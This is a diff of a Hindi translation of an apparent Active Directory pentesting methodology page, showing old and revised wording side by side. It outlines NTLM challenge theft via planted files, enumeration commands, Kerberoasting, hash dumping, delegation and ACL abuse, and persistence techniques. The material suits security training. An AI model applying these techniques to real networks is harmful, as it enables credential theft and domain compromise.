यदि आप **अन्य PCs या शेयरों** तक **नल या अतिथि उपयोगकर्ता** के साथ **पहुँच** प्राप्त कर सकते हैं, तो आप **फाइलें** (जैसे SCF फ़ाइल) रख सकते हैं जो यदि किसी तरह से पहुँची जाती हैं तो **आपके खिलाफ NTML प्रमाणीकरण को ट्रिगर करेंगी** ताकि आप **NTLM चुनौती** चुरा सकें।
|
||||
यदि आप **अन्य PCs या शेयरों** तक **null या guest user** के साथ **पहुँच** कर सकते हैं तो आप **फाइलें** (जैसे SCF फाइल) रख सकते हैं जो यदि किसी तरह से पहुँची जाती हैं तो **आपके खिलाफ NTML प्रमाणीकरण को ट्रिगर करेंगी** ताकि आप **NTLM चुनौती** चुरा सकें:
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
## क्रेडेंशियल्स/सत्र के साथ सक्रिय निर्देशिका की सूची बनाना
|
||||
## क्रेडेंशियल्स/सेशन के साथ सक्रिय निर्देशिका की सूची बनाना
|
||||
|
||||
इस चरण के लिए आपको **एक मान्य डोमेन खाते के क्रेडेंशियल्स या सत्र को समझौता करना होगा।** यदि आपके पास कुछ मान्य क्रेडेंशियल्स या एक डोमेन उपयोगकर्ता के रूप में एक शेल है, तो **आपको याद रखना चाहिए कि पहले दिए गए विकल्प अभी भी अन्य उपयोगकर्ताओं को समझौता करने के विकल्प हैं**।
|
||||
|
||||
@ -151,18 +151,18 @@ kerberos-double-hop-problem.md
|
||||
|
||||
### सूची बनाना
|
||||
|
||||
एक खाते को समझौता करना **पूरे डोमेन को समझौता करने के लिए एक बड़ा कदम है**, क्योंकि आप **सक्रिय निर्देशिका की सूची बनाने** में सक्षम होंगे:
|
||||
एक खाते को समझौता करना **पूरे डोमेन को समझौता करने के लिए एक बड़ा कदम है**, क्योंकि आप **सक्रिय निर्देशिका की सूची बनाना शुरू करने में सक्षम होंगे:**
|
||||
|
||||
[**ASREPRoast**](asreproast.md) के संबंध में, आप अब हर संभावित कमजोर उपयोगकर्ता को ढूंढ सकते हैं, और [**Password Spraying**](password-spraying.md) के संबंध में, आप **सभी उपयोगकर्ता नामों की एक सूची प्राप्त कर सकते हैं** और समझौता किए गए खाते का पासवर्ड, खाली पासवर्ड और नए आशाजनक पासवर्ड आजमा सकते हैं।
|
||||
|
||||
- आप [**CMD का उपयोग करके एक बुनियादी पुनः खोज करने के लिए**](../basic-cmd-for-pentesters.md#domain-info) कर सकते हैं
|
||||
- आप [**पुनः खोज के लिए PowerShell का उपयोग कर सकते हैं**](../basic-powershell-for-pentesters/) जो अधिक छिपा हुआ होगा
|
||||
- आप [**पुनः खोज के लिए powershell का उपयोग कर सकते हैं**](../basic-powershell-for-pentesters/index.html) जो अधिक छिपा हुआ होगा
|
||||
- आप [**powerview का उपयोग कर सकते हैं**](../basic-powershell-for-pentesters/powerview.md) अधिक विस्तृत जानकारी निकालने के लिए
|
||||
- सक्रिय निर्देशिका में पुनः खोज के लिए एक और अद्भुत उपकरण [**BloodHound**](bloodhound.md) है। यह **बहुत छिपा हुआ नहीं है** (आपके द्वारा उपयोग किए गए संग्रह विधियों के आधार पर), लेकिन **यदि आपको इसकी परवाह नहीं है**, तो आपको इसे पूरी तरह से आजमाना चाहिए। पता करें कि उपयोगकर्ता कहाँ RDP कर सकते हैं, अन्य समूहों के लिए पथ खोजें, आदि।
|
||||
- **अन्य स्वचालित AD सूची बनाने के उपकरण हैं:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**।**
|
||||
- सक्रिय निर्देशिका में पुनः खोज के लिए एक और अद्भुत उपकरण [**BloodHound**](bloodhound.md) है। यह **बहुत छिपा हुआ नहीं है** (आपके द्वारा उपयोग किए गए संग्रह विधियों के आधार पर), लेकिन **यदि आपको इसकी परवाह नहीं है** तो आपको इसे पूरी तरह से आजमाना चाहिए। पता करें कि उपयोगकर्ता RDP कहाँ कर सकते हैं, अन्य समूहों के लिए पथ खोजें, आदि।
|
||||
- **अन्य स्वचालित AD सूची बनाने के उपकरण हैं:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
- [**AD के DNS रिकॉर्ड**](ad-dns-records.md) क्योंकि वे दिलचस्प जानकारी रख सकते हैं।
|
||||
- आप निर्देशिका की सूची बनाने के लिए **AdExplorer.exe** नामक **GUI** वाला एक उपकरण उपयोग कर सकते हैं जो **SysInternal** सूट से है।
|
||||
- आप _userPassword_ और _unixUserPassword_ फ़ील्ड में क्रेडेंशियल्स की खोज करने के लिए **ldapsearch** का उपयोग कर सकते हैं, या यहां तक कि _Description_ के लिए भी। अन्य विधियों के लिए [PayloadsAllTheThings पर AD उपयोगकर्ता टिप्पणी में पासवर्ड](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) देखें।
|
||||
- आप निर्देशिका की सूची बनाने के लिए **AdExplorer.exe** नामक **GUI** वाला एक उपकरण उपयोग कर सकते हैं जो **SysInternal** Suite से है।
|
||||
- आप LDAP डेटाबेस में **ldapsearch** का उपयोग करके _userPassword_ और _unixUserPassword_ फ़ील्ड में क्रेडेंशियल्स की खोज कर सकते हैं, या यहां तक कि _Description_ के लिए भी। cf. [PayloadsAllTheThings पर AD उपयोगकर्ता टिप्पणी में पासवर्ड](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) अन्य विधियों के लिए।
|
||||
- यदि आप **Linux** का उपयोग कर रहे हैं, तो आप [**pywerview**](https://github.com/the-useless-one/pywerview) का उपयोग करके डोमेन की सूची भी बना सकते हैं।
|
||||
- आप स्वचालित उपकरणों को भी आजमा सकते हैं जैसे:
|
||||
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
|
||||
@ -171,11 +171,11 @@ kerberos-double-hop-problem.md
|
||||
|
||||
Windows से सभी डोमेन उपयोगकर्ता नाम प्राप्त करना बहुत आसान है (`net user /domain`, `Get-DomainUser` या `wmic useraccount get name,sid`)। Linux में, आप उपयोग कर सकते हैं: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` या `enum4linux -a -u "user" -p "password" <DC IP>`
|
||||
|
||||
> भले ही यह सूची बनाने का अनुभाग छोटा दिखता है, यह सभी का सबसे महत्वपूर्ण भाग है। लिंक पर पहुँचें (मुख्य रूप से cmd, powershell, powerview और BloodHound वाले), जानें कि डोमेन को कैसे सूचीबद्ध किया जाए और तब तक अभ्यास करें जब तक आप सहज महसूस न करें। एक आकलन के दौरान, यह DA तक पहुँचने का आपका रास्ता खोजने या यह तय करने का कुंजी क्षण होगा कि कुछ नहीं किया जा सकता।
|
||||
> भले ही यह सूची बनाने का अनुभाग छोटा दिखता है, यह सभी का सबसे महत्वपूर्ण भाग है। लिंक पर जाएँ (मुख्य रूप से cmd, powershell, powerview और BloodHound वाले), जानें कि डोमेन को कैसे सूचीबद्ध किया जाए और तब तक अभ्यास करें जब तक आप सहज महसूस न करें। एक आकलन के दौरान, यह DA तक पहुँचने का आपका मार्ग खोजने या यह तय करने का कुंजी क्षण होगा कि कुछ नहीं किया जा सकता।
|
||||
|
||||
### Kerberoast
|
||||
|
||||
Kerberoasting में **TGS टिकट** प्राप्त करना शामिल है जो उपयोगकर्ता खातों से जुड़े सेवाओं द्वारा उपयोग किए जाते हैं और उनकी एन्क्रिप्शन को क्रैक करना—जो उपयोगकर्ता पासवर्ड पर आधारित है—**ऑफलाइन**।
|
||||
Kerberoasting में **TGS टिकट** प्राप्त करना शामिल है जो उपयोगकर्ता खातों से जुड़े सेवाओं द्वारा उपयोग किए जाते हैं और उनके एन्क्रिप्शन को क्रैक करना—जो उपयोगकर्ता पासवर्ड पर आधारित है—**ऑफलाइन**।
|
||||
|
||||
इस बारे में अधिक जानकारी:
|
||||
|
||||
@ -185,13 +185,13 @@ kerberoast.md
|
||||
|
||||
### दूरस्थ कनेक्शन (RDP, SSH, FTP, Win-RM, आदि)
|
||||
|
||||
एक बार जब आप कुछ क्रेडेंशियल्स प्राप्त कर लेते हैं, तो आप देख सकते हैं कि क्या आपके पास किसी **मशीन** तक पहुँच है। इस मामले के लिए, आप विभिन्न प्रोटोकॉल के साथ कई सर्वरों पर कनेक्ट करने का प्रयास करने के लिए **CrackMapExec** का उपयोग कर सकते हैं, जो आपके पोर्ट स्कैन के अनुसार है।
|
||||
एक बार जब आपने कुछ क्रेडेंशियल्स प्राप्त कर लिए, तो आप देख सकते हैं कि क्या आपके पास किसी **मशीन** तक पहुँच है। इस मामले के लिए, आप विभिन्न प्रोटोकॉल के साथ कई सर्वरों पर कनेक्ट करने का प्रयास करने के लिए **CrackMapExec** का उपयोग कर सकते हैं, जो आपके पोर्ट स्कैन के अनुसार है।
|
||||
|
||||
### स्थानीय विशेषाधिकार वृद्धि
|
||||
|
||||
यदि आपने नियमित डोमेन उपयोगकर्ता के रूप में क्रेडेंशियल्स या सत्र को समझौता किया है और आपके पास **डोमेन में किसी भी मशीन** पर इस उपयोगकर्ता के साथ **पहुँच** है, तो आपको **स्थानीय रूप से विशेषाधिकार बढ़ाने और क्रेडेंशियल्स के लिए लूटने** का प्रयास करना चाहिए। ऐसा इसलिए है क्योंकि केवल स्थानीय व्यवस्थापक विशेषाधिकारों के साथ आप **अन्य उपयोगकर्ताओं के हैश को** मेमोरी (LSASS) और स्थानीय (SAM) में **डंप** कर सकेंगे।
|
||||
यदि आपने नियमित डोमेन उपयोगकर्ता के रूप में क्रेडेंशियल्स या सत्र को समझौता किया है और आपके पास **डोमेन में किसी भी मशीन** पर इस उपयोगकर्ता के साथ **पहुँच** है, तो आपको **स्थानीय रूप से विशेषाधिकार बढ़ाने और क्रेडेंशियल्स के लिए लूटने** का प्रयास करना चाहिए। इसका कारण यह है कि केवल स्थानीय व्यवस्थापक विशेषाधिकार के साथ आप **अन्य उपयोगकर्ताओं के हैश को** मेमोरी (LSASS) और स्थानीय (SAM) में **डंप** कर सकेंगे।
|
||||
|
||||
इस पुस्तक में [**Windows में स्थानीय विशेषाधिकार वृद्धि**](../windows-local-privilege-escalation/) और एक [**चेकलिस्ट**](../checklist-windows-privilege-escalation.md) के बारे में एक पूरा पृष्ठ है। इसके अलावा, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) का उपयोग करना न भूलें।
|
||||
इस पुस्तक में [**Windows में स्थानीय विशेषाधिकार वृद्धि**](../windows-local-privilege-escalation/index.html) और एक [**चेकलिस्ट**](../checklist-windows-privilege-escalation.md) के बारे में एक पूरा पृष्ठ है। इसके अलावा, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) का उपयोग करना न भूलें।
|
||||
|
||||
### वर्तमान सत्र टिकट
|
||||
|
||||
@ -209,13 +209,13 @@ kerberoast.md
|
||||
|
||||
### **कंप्यूटर शेयर में क्रेडेंशियल्स की तलाश करें**
|
||||
|
||||
अब जब आपके पास कुछ बुनियादी क्रेडेंशियल्स हैं, तो आपको जांचना चाहिए कि क्या आप **AD के अंदर साझा की गई कोई **दिलचस्प फ़ाइलें** ढूंढ सकते हैं। आप इसे मैन्युअल रूप से कर सकते हैं, लेकिन यह एक बहुत ही उबाऊ दोहरावदार कार्य है (और अधिक यदि आप सैकड़ों दस्तावेज़ ढूंढते हैं जिन्हें आपको जांचना है)।
|
||||
अब जब आपके पास कुछ बुनियादी क्रेडेंशियल्स हैं, तो आपको यह जांचना चाहिए कि क्या आप **AD के अंदर साझा की गई कोई **दिलचस्प फ़ाइलें** ढूंढ सकते हैं। आप इसे मैन्युअल रूप से कर सकते हैं, लेकिन यह एक बहुत ही उबाऊ दोहराव वाला कार्य है (और अधिक यदि आप सैकड़ों दस्तावेज़ों को खोजते हैं जिन्हें आपको जांचना है)।
|
||||
|
||||
[**उपकरणों के बारे में जानने के लिए इस लिंक का पालन करें।**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
|
||||
|
||||
### NTLM क्रेडेंशियल्स चुराना
|
||||
|
||||
यदि आप **अन्य PCs या शेयरों तक पहुँच सकते हैं**, तो आप **फाइलें** (जैसे SCF फ़ाइल) रख सकते हैं जो यदि किसी तरह से एक्सेस की जाती हैं, तो **आपके खिलाफ NTML प्रमाणीकरण को ट्रिगर करेंगी** ताकि आप **NTLM चुनौती** चुरा सकें और उसे क्रैक कर सकें:
|
||||
यदि आप **अन्य PCs या शेयरों तक पहुँच सकते हैं**, तो आप **फाइलें** (जैसे SCF फ़ाइल) रख सकते हैं जो यदि किसी तरह से एक्सेस की जाती हैं, तो **आपके खिलाफ NTML प्रमाणीकरण को ट्रिगर करेंगी** ताकि आप **NTLM चुनौती** चुरा सकें और इसे क्रैक कर सकें:
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
@ -235,7 +235,7 @@ printnightmare.md
|
||||
|
||||
### हैश निष्कर्षण
|
||||
|
||||
उम्मीद है कि आप [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) सहित रिले करते हुए, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [स्थानीय रूप से विशेषाधिकार बढ़ाना](../windows-local-privilege-escalation/) का उपयोग करके **कुछ स्थानीय व्यवस्थापक** खाते को समझौता करने में सफल रहे हैं।\
|
||||
उम्मीद है कि आप [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) सहित रिले करते हुए, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [स्थानीय रूप से विशेषाधिकार बढ़ाना](../windows-local-privilege-escalation/index.html) का उपयोग करके **कुछ स्थानीय व्यवस्थापक** खाते को समझौता करने में सफल रहे हैं।\
|
||||
फिर, इसका समय है कि सभी हैश को मेमोरी और स्थानीय रूप से डंप करें।\
|
||||
[**हैश प्राप्त करने के विभिन्न तरीकों के बारे में इस पृष्ठ को पढ़ें।**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
@ -284,8 +284,8 @@ abusing-ad-mssql.md
|
||||
|
||||
### अनियंत्रित प्रतिनिधित्व
|
||||
|
||||
यदि आप किसी कंप्यूटर ऑब्जेक्ट को [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) विशेषता के साथ पाते हैं और आपके पास कंप्यूटर में डोमेन विशेषाधिकार हैं, तो आप कंप्यूटर पर लॉगिन करने वाले हर उपयोगकर्ता की मेमोरी से TGT को डंप कर सकेंगे।\
|
||||
तो, यदि कोई **डोमेन एडमिन कंप्यूटर पर लॉगिन करता है**, तो आप उसका TGT डंप कर सकेंगे और [Pass the Ticket](pass-the-ticket.md) का उपयोग करके उसकी नकल कर सकेंगे।\
|
||||
यदि आप किसी कंप्यूटर ऑब्जेक्ट को [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) विशेषता के साथ पाते हैं और आपके पास कंप्यूटर में डोमेन विशेषाधिकार हैं, तो आप कंप्यूटर पर लॉगिन करने वाले हर उपयोगकर्ता की मेमोरी से TGTs को डंप कर सकेंगे।\
|
||||
तो, यदि एक **डोमेन एडमिन कंप्यूटर पर लॉगिन करता है**, तो आप उसका TGT डंप कर सकेंगे और [Pass the Ticket](pass-the-ticket.md) का उपयोग करके उसकी नकल कर सकेंगे।\
|
||||
संकीर्ण प्रतिनिधित्व के कारण आप यहां तक कि **एक प्रिंट सर्वर को स्वचालित रूप से समझौता कर सकते हैं** (उम्मीद है कि यह एक DC होगा)।
|
||||
|
||||
{{#ref}}
|
||||
@ -294,8 +294,8 @@ unconstrained-delegation.md
|
||||
|
||||
### संकीर्ण प्रतिनिधित्व
|
||||
|
||||
यदि किसी उपयोगकर्ता या कंप्यूटर को "संकीर्ण प्रतिनिधित्व" की अनुमति है, तो वह **किसी भी उपयोगकर्ता की नकल कर सकेगा ताकि किसी कंप्यूटर में कुछ सेवाओं तक पहुँच सके**।\
|
||||
फिर, यदि आप इस उपयोगकर्ता/कंप्यूटर का **हैश समझौता करते हैं**, तो आप **किसी भी उपयोगकर्ता** (यहां तक कि डोमेन एडमिन) की नकल कर सकेंगे ताकि कुछ सेवाओं तक पहुँच सके।
|
||||
यदि किसी उपयोगकर्ता या कंप्यूटर को "संकीर्ण प्रतिनिधित्व" की अनुमति है, तो वह **किसी भी उपयोगकर्ता की नकल कर सकता है ताकि किसी कंप्यूटर में कुछ सेवाओं तक पहुँच सके**।\
|
||||
फिर, यदि आप इस उपयोगकर्ता/कंप्यूटर का **हैश समझौता** करते हैं, तो आप **किसी भी उपयोगकर्ता** (यहां तक कि डोमेन एडमिन) की नकल कर सकते हैं ताकि कुछ सेवाओं तक पहुँच सके।
|
||||
|
||||
{{#ref}}
|
||||
constrained-delegation.md
|
||||
@ -303,7 +303,7 @@ constrained-delegation.md
|
||||
|
||||
### संसाधन-आधारित संकीर्ण प्रतिनिधित्व
|
||||
|
||||
एक दूरस्थ कंप्यूटर के Active Directory ऑब्जेक्ट पर **WRITE** विशेषाधिकार होने से **उच्च विशेषाधिकार** के साथ कोड निष्पादन प्राप्त करना संभव हो जाता है:
|
||||
एक दूरस्थ कंप्यूटर के Active Directory ऑब्जेक्ट पर **WRITE** विशेषाधिकार होने से **उच्च विशेषाधिकार** के साथ कोड निष्पादन प्राप्त करने की अनुमति मिलती है:
|
||||
|
||||
{{#ref}}
|
||||
resource-based-constrained-delegation.md
|
||||
@ -311,7 +311,7 @@ resource-based-constrained-delegation.md
|
||||
|
||||
### ACLs दुरुपयोग
|
||||
|
||||
समझौता किए गए उपयोगकर्ता के पास कुछ **डोमेन ऑब्जेक्ट्स पर कुछ दिलचस्प विशेषाधिकार** हो सकते हैं जो आपको **पार्श्व में स्थानांतरित** करने/विशेषाधिकार बढ़ाने की अनुमति दे सकते हैं।
|
||||
समझौता किए गए उपयोगकर्ता के पास कुछ **डोमेन ऑब्जेक्ट्स पर कुछ दिलचस्प विशेषाधिकार** हो सकते हैं जो आपको **पार्श्व रूप से स्थानांतरित**/**विशेषाधिकार बढ़ाने** की अनुमति दे सकते हैं।
|
||||
|
||||
{{#ref}}
|
||||
acl-persistence-abuse/
|
||||
@ -319,7 +319,7 @@ acl-persistence-abuse/
|
||||
|
||||
### प्रिंटर स्पूलर सेवा का दुरुपयोग
|
||||
|
||||
डोमेन के भीतर **स्पूल सेवा सुनने** का पता लगाना **नए क्रेडेंशियल्स प्राप्त करने** और **विशेषाधिकार बढ़ाने** के लिए **दुरुपयोग** किया जा सकता है।
|
||||
डोमेन के भीतर एक **स्पूल सेवा सुनने** का पता लगाना **नए क्रेडेंशियल्स प्राप्त करने** और **विशेषाधिकार बढ़ाने** के लिए **दुरुपयोग** किया जा सकता है।
|
||||
|
||||
{{#ref}}
|
||||
printers-spooler-service-abuse.md
|
||||
@ -327,7 +327,7 @@ printers-spooler-service-abuse.md
|
||||
|
||||
### तीसरे पक्ष के सत्रों का दुरुपयोग
|
||||
|
||||
यदि **अन्य उपयोगकर्ता** **समझौता किए गए** मशीन तक पहुँचते हैं, तो **मेमोरी से क्रेडेंशियल्स इकट्ठा करना** और यहां तक कि **उनकी प्रक्रियाओं में बीकन इंजेक्ट करना** संभव है ताकि उनकी नकल की जा सके।\
|
||||
यदि **अन्य उपयोगकर्ता** **समझौता किए गए** मशीन तक पहुँचते हैं, तो यह **मेमोरी से क्रेडेंशियल्स इकट्ठा करने** और यहां तक कि **उनकी प्रक्रियाओं में बीकन इंजेक्ट करने** के लिए संभव है ताकि उनकी नकल की जा सके।\
|
||||
आमतौर पर उपयोगकर्ता RDP के माध्यम से सिस्टम तक पहुँचते हैं, इसलिए यहां आपके पास तीसरे पक्ष के RDP सत्रों पर कुछ हमले करने का तरीका है:
|
||||
|
||||
{{#ref}}
|
||||
@ -336,7 +336,7 @@ rdp-sessions-abuse.md
|
||||
|
||||
### LAPS
|
||||
|
||||
**LAPS** डोमेन-जोड़े गए कंप्यूटरों पर **स्थानीय व्यवस्थापक पासवर्ड** प्रबंधित करने के लिए एक प्रणाली प्रदान करता है, यह सुनिश्चित करते हुए कि यह **यादृच्छिक**, अद्वितीय, और अक्सर **बदलता** है। ये पासवर्ड Active Directory में संग्रहीत होते हैं और पहुँच को केवल अधिकृत उपयोगकर्ताओं के लिए ACLs के माध्यम से नियंत्रित किया जाता है। इन पासवर्डों तक पहुँच के लिए पर्याप्त अनुमतियों के साथ, अन्य कंप्यूटरों पर पिवटिंग करना संभव हो जाता है।
|
||||
**LAPS** डोमेन-जोड़े गए कंप्यूटरों पर **स्थानीय व्यवस्थापक पासवर्ड** प्रबंधित करने के लिए एक प्रणाली प्रदान करता है, यह सुनिश्चित करते हुए कि यह **यादृच्छिक**, अद्वितीय, और अक्सर **बदला** जाता है। ये पासवर्ड Active Directory में संग्रहीत होते हैं और पहुँच को केवल अधिकृत उपयोगकर्ताओं के लिए ACLs के माध्यम से नियंत्रित किया जाता है। इन पासवर्डों तक पहुँच के लिए पर्याप्त अनुमतियों के साथ, अन्य कंप्यूटरों पर पिवटिंग करना संभव हो जाता है।
|
||||
|
||||
{{#ref}}
|
||||
laps.md
|
||||
@ -344,7 +344,7 @@ laps.md
|
||||
|
||||
### प्रमाणपत्र चोरी
|
||||
|
||||
**समझौता किए गए मशीन से प्रमाणपत्र इकट्ठा करना** वातावरण के भीतर विशेषाधिकार बढ़ाने का एक तरीका हो सकता है:
|
||||
समझौता किए गए मशीन से **प्रमाणपत्र इकट्ठा करना** वातावरण के भीतर विशेषाधिकार बढ़ाने का एक तरीका हो सकता है:
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/certificate-theft.md
|
||||
@ -352,7 +352,7 @@ ad-certificates/certificate-theft.md
|
||||
|
||||
### प्रमाणपत्र टेम्पलेट्स का दुरुपयोग
|
||||
|
||||
यदि **कमजोर टेम्पलेट्स** कॉन्फ़िगर किए गए हैं, तो उन्हें विशेषाधिकार बढ़ाने के लिए दुरुपयोग करना संभव है:
|
||||
यदि **कमजोर टेम्पलेट्स** कॉन्फ़िगर किए गए हैं, तो उन्हें विशेषाधिकार बढ़ाने के लिए दुरुपयोग किया जा सकता है:
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/domain-escalation.md
|
||||
@ -435,13 +435,13 @@ ad-certificates/domain-persistence.md
|
||||
|
||||
### AdminSDHolder समूह
|
||||
|
||||
Active Directory में **AdminSDHolder** ऑब्जेक्ट **विशेषाधिकार प्राप्त समूहों** (जैसे डोमेन एडमिन और एंटरप्राइज एडमिन) की सुरक्षा सुनिश्चित करता है, इन समूहों पर एक मानक **एक्सेस कंट्रोल लिस्ट (ACL)** लागू करके अनधिकृत परिवर्तनों को रोकता है। हालाँकि, इस सुविधा का दुरुपयोग किया जा सकता है; यदि कोई हमलावर AdminSDHolder के ACL को एक सामान्य उपयोगकर्ता को पूर्ण पहुँच देने के लिए संशोधित करता है, तो उस उपयोगकर्ता को सभी विशेषाधिकार प्राप्त समूहों पर व्यापक नियंत्रण मिल जाता है। यह सुरक्षा उपाय, जिसे सुरक्षा के लिए बनाया गया था, इस प्रकार उलटा पड़ सकता है, जिससे बिना अनुमति के पहुँच मिल जाती है जब तक कि इसे निकटता से मॉनिटर नहीं किया जाता।
|
||||
Active Directory में **AdminSDHolder** ऑब्जेक्ट **विशेषाधिकार प्राप्त समूहों** (जैसे डोमेन एडमिन और एंटरप्राइज एडमिन) की सुरक्षा सुनिश्चित करता है, इन समूहों पर एक मानक **एक्सेस कंट्रोल लिस्ट (ACL)** लागू करके अनधिकृत परिवर्तनों को रोकता है। हालाँकि, इस सुविधा का दुरुपयोग किया जा सकता है; यदि एक हमलावर AdminSDHolder के ACL को एक नियमित उपयोगकर्ता को पूर्ण पहुँच देने के लिए संशोधित करता है, तो उस उपयोगकर्ता को सभी विशेषाधिकार प्राप्त समूहों पर व्यापक नियंत्रण मिल जाता है। यह सुरक्षा उपाय, जिसे सुरक्षा के लिए बनाया गया था, इस प्रकार उलटा पड़ सकता है, जिससे बिना अनुमति के पहुँच मिल जाती है जब तक कि इसे निकटता से मॉनिटर नहीं किया जाता।
|
||||
|
||||
[**AdminDSHolder समूह के बारे में अधिक जानकारी यहां।**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
[**AdminDSHolder समूह के बारे में अधिक जानकारी यहां है।**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
### DSRM क्रेडेंशियल्स
|
||||
|
||||
हर **डोमेन कंट्रोलर (DC)** के अंदर, एक **स्थानीय व्यवस्थापक** खाता होता है। ऐसी मशीन पर प्रशासनिक अधिकार प्राप्त करके, स्थानीय व्यवस्थापक हैश को **mimikatz** का उपयोग करके निकाला जा सकता है। इसके बाद, इस पासवर्ड का उपयोग करने के लिए **पंजीकरण संशोधन** आवश्यक है, जिससे स्थानीय व्यवस्थापक खाते तक दूरस्थ पहुँच प्राप्त हो सके।
|
||||
हर **डोमेन कंट्रोलर (DC)** के अंदर, एक **स्थानीय व्यवस्थापक** खाता मौजूद होता है। ऐसी मशीन पर प्रशासनिक अधिकार प्राप्त करके, स्थानीय व्यवस्थापक हैश को **mimikatz** का उपयोग करके निकाला जा सकता है। इसके बाद, इस पासवर्ड का उपयोग करने के लिए **पंजीकरण संशोधन** आवश्यक है, जिससे स्थानीय व्यवस्थापक खाते तक दूरस्थ पहुँच की अनुमति मिलती है।
|
||||
|
||||
{{#ref}}
|
||||
dsrm-credentials.md
|
||||
@ -457,7 +457,7 @@ acl-persistence-abuse/
|
||||
|
||||
### सुरक्षा वर्णनकर्ता
|
||||
|
||||
**सुरक्षा वर्णनकर्ता** का उपयोग **अनुमतियों** को **स्टोर** करने के लिए किया जाता है जो एक **ऑब्जेक्ट** के पास **एक ऑब्जेक्ट** पर होती हैं। यदि आप केवल **सुरक्षा वर्णनकर्ता** में **थोड़ा सा परिवर्तन** कर सकते हैं, तो आप उस ऑब्जेक्ट पर बहुत दिलचस्प विशेषाधिकार प्राप्त कर सकते हैं बिना किसी विशेषाधिकार प्राप्त समूह का सदस्य बने।
|
||||
**सुरक्षा वर्णनकर्ता** का उपयोग **अनुमतियों** को **स्टोर** करने के लिए किया जाता है जो एक **ऑब्जेक्ट** के पास **एक ऑब्जेक्ट** पर होती हैं। यदि आप केवल **सुरक्षा वर्णनकर्ता** में एक **थोड़ा परिवर्तन** कर सकते हैं, तो आप उस ऑब्जेक्ट पर बहुत दिलचस्प विशेषाधिकार प्राप्त कर सकते हैं बिना किसी विशेषाधिकार प्राप्त समूह का सदस्य बने।
|
||||
|
||||
{{#ref}}
|
||||
security-descriptors.md
|
||||
@ -504,18 +504,18 @@ Microsoft **वन** को सुरक्षा सीमा के रूप
|
||||
|
||||
### बुनियादी जानकारी
|
||||
|
||||
एक [**डोमेन ट्रस्ट**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) एक सुरक्षा तंत्र है जो एक **डोमेन** के उपयोगकर्ता को दूसरे **डोमेन** में संसाधनों तक पहुँचने की अनुमति देता है। यह मूल रूप से दोनों डोमेन के प्रमाणीकरण प्रणालियों के बीच एक लिंक बनाता है, जिससे प्रमाणीकरण सत्यापन निर्बाध रूप से प्रवाहित हो सके। जब डोमेन एक ट्रस्ट स्थापित करते हैं, तो वे अपने **डोमेन कंट्रोलर (DCs)** के भीतर विशिष्ट **कुंजी** का आदान-प्रदान और रखरखाव करते हैं, जो ट्रस्ट की अखंडता के लिए महत्वपूर्ण हैं।
|
||||
एक [**डोमेन ट्रस्ट**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) एक सुरक्षा तंत्र है जो एक **डोमेन** के उपयोगकर्ता को दूसरे **डोमेन** में संसाधनों तक पहुँचने की अनुमति देता है। यह मूल रूप से दोनों डोमेन के प्रमाणीकरण प्रणालियों के बीच एक लिंक बनाता है, जिससे प्रमाणीकरण सत्यापन सुचारू रूप से प्रवाहित हो सके। जब डोमेन एक ट्रस्ट स्थापित करते हैं, तो वे अपने **डोमेन कंट्रोलर (DCs)** के भीतर विशिष्ट **कुंजी** का आदान-प्रदान और रखरखाव करते हैं, जो ट्रस्ट की अखंडता के लिए महत्वपूर्ण हैं।
|
||||
|
||||
